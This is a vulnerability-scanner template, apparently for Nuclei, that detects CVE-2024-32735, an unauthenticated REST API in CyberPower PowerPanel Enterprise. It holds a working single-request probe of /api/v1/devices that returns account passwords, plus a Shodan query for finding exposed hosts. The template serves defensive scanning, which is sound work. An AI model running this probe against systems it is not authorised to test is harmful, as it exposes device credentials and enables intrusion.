id: CVE-2024-32735

info:
  name: CyberPower - Missing Authentication
  author: DhiyaneshDK
  severity: critical
  description: |
    An issue regarding missing authentication for certain utilities exists in CyberPower PowerPanel Enterprise prior to v2.8.3.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    An unauthenticated remote attacker can access the PDNU REST APIs, which may result in compromise of the application.
  reference:
    - https://www.cyberpower.com/global/en/File/GetFileSampleByType?fileId=SU-18070002-07&fileSubType=FileReleaseNote
    - https://www.tenable.com/security/research/tra-2024-14
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32735
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-32735
    cwe-id: CWE-306
    epss-score: 0.06765
    epss-percentile: 0.93304
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"<title>PDNU</title>"
  tags: cve,cve2024,cyberpower,auth-bupass,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/devices"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"account":'
          - '"passwd":'
          - 'status":"success'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206ce24e67d299d34444c9c62a8b0b24e167e2a9e195178de73f593d1a94d9b5e30221008a96f2c08598722e3716894de5e60a825469c9af86853607848c6cd7db8a8192:922c64590222798bb761d5b6d8e72950